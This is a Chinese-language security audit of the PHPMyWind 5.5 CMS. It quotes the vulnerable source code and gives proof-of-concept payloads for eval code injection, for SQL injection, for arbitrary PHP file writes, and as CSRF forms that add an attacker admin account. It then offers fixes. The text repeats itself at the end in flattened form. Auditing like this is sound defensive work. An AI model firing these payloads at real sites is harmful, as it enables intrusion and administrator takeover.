phpmywind5.5代码审计
字数 764 2025-08-29 08:31:41

PHPMyWind 5.5 代码审计报告与漏洞分析

1. 有限制的代码执行漏洞

漏洞位置

common.func.php 第554-559行:

function String2Array($data) {
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}

漏洞分析

  • 该函数直接使用eval()执行传入的$data参数,存在代码执行风险
  • 全局搜索发现有两处调用此函数的地方

触发点分析

goods_save.php 第103-117行:

if(is_array($attrid) && is_array($attrvalue)) {
    $attrstr .= 'array(';
    $attrids = count($attrid);
    for($i=0; $i<$attrids; $i++) {
        $attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
        if($i < $attrids-1) {
            $attrstr .= ',';
        }
    }
    $attrstr .= ');';
}

利用方式

  • $attrid$attrvalue参数未经过滤
  • 构造恶意请求:
classid=12&typeid=10&brandid=-1&title=test&colorval=&boldval=&attrvalue[]=1&attrid[]=1|${phpinfo()}&attrvalue[]=1&attrid[]=2...

2. CSRF漏洞

漏洞描述

  • 后台多处操作未进行CSRF防护
  • 可构造恶意表单诱导管理员点击

利用方式

  1. 代码执行CSRF POC:
<form action="http://www.test.com/phpmywind_5.5/admin/goods_save.php" method="POST">
    <input type="hidden" name="attrid[]" value="1|{${phpinfo()}}" />
    <!-- 其他必要参数 -->
</form>
  1. 添加管理员CSRF POC:
<form action="http://www.test.com/phpmywind_5.5/admin/admin_save.php" method="POST">
    <input type="hidden" name="username" value="attacker" />
    <input type="hidden" name="password" value="attacker" />
    <input type="hidden" name="repassword" value="attacker" />
    <input type="hidden" name="levelname" value="1" />
    <input type="hidden" name="action" value="add" />
</form>

3. 后台SQL注入漏洞

漏洞位置

多处IN语句参数未过滤,如:

case 'delall':
    $sql = "DELETE FROM `$tbname` WHERE id IN ($ids)";
    $dosql->ExecNoneQuery($sql);
    break;

利用方式

构造恶意请求:

admin/ajax_do.php?action=delall&ids=1) and (select 1)=(1&type=goodsattr

4. 后台任意文件写入漏洞

漏洞函数

Writef()函数:

function Writef($file,$str,$mode='w') {
    if(file_exists($file) && is_writable($file)) {
        $fp = fopen($file, $mode);
        flock($fp, 3);
        fwrite($fp, $str);
        fclose($fp);
        return TRUE;
    }
    // ...
}

利用点1:ajax_do.php

if($action == 'updataauth') {
    $fdir = PHPMYWIND_DATA.'/cache/auth/';
    $fname = 'auth_'.$cfg_auth_key.'.php';
    Writef($fdir.$fname, $jsonStr);
}

利用方式:

admin/ajax_do.php?action=updataauth&jsonStr=<?php phpinfo();?>

利用点2:database_done.php

if($conftb == 1) {
    $config_cache = PHPMYWIND_INC.'/config.cache.php';
    $str = '<?php if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
    // ...
    Writef($config_cache,$str);
}

利用条件:

  • vartypenumber时,变量值不会被单引号包裹
  • 通过添加配置项实现代码注入

5. 漏洞修复建议

  1. 代码执行漏洞

    • 过滤String2Array函数输入
    • 使用json_decode替代eval
  2. CSRF漏洞

    • 添加CSRF Token验证
    • 关键操作使用POST请求
  3. SQL注入漏洞

    • IN语句参数进行过滤
    • 使用预处理语句
  4. 文件写入漏洞

    • 限制可写入目录
    • 检查写入内容是否合法
    • number类型配置项进行严格验证

6. 审计经验总结

  1. 关注evalassert等危险函数的使用
  2. 检查所有用户输入是否经过适当过滤
  3. 注意后台功能的CSRF防护情况
  4. 文件操作函数需要严格限制路径和内容
  5. 即使看似无害的功能(如配置管理)也可能存在安全隐患
PHPMyWind 5.5 代码审计报告与漏洞分析 1. 有限制的代码执行漏洞 漏洞位置 common.func.php 第554-559行: 漏洞分析 该函数直接使用 eval() 执行传入的 $data 参数,存在代码执行风险 全局搜索发现有两处调用此函数的地方 触发点分析 goods_save.php 第103-117行: 利用方式 $attrid 和 $attrvalue 参数未经过滤 构造恶意请求: 2. CSRF漏洞 漏洞描述 后台多处操作未进行CSRF防护 可构造恶意表单诱导管理员点击 利用方式 代码执行CSRF POC: 添加管理员CSRF POC: 3. 后台SQL注入漏洞 漏洞位置 多处 IN 语句参数未过滤,如: 利用方式 构造恶意请求: 4. 后台任意文件写入漏洞 漏洞函数 Writef() 函数: 利用点1: ajax_do.php 利用方式: 利用点2: database_done.php 利用条件: 当 vartype 为 number 时,变量值不会被单引号包裹 通过添加配置项实现代码注入 5. 漏洞修复建议 代码执行漏洞 : 过滤 String2Array 函数输入 使用 json_decode 替代 eval CSRF漏洞 : 添加CSRF Token验证 关键操作使用POST请求 SQL注入漏洞 : 对 IN 语句参数进行过滤 使用预处理语句 文件写入漏洞 : 限制可写入目录 检查写入内容是否合法 对 number 类型配置项进行严格验证 6. 审计经验总结 关注 eval 、 assert 等危险函数的使用 检查所有用户输入是否经过适当过滤 注意后台功能的CSRF防护情况 文件操作函数需要严格限制路径和内容 即使看似无害的功能(如配置管理)也可能存在安全隐患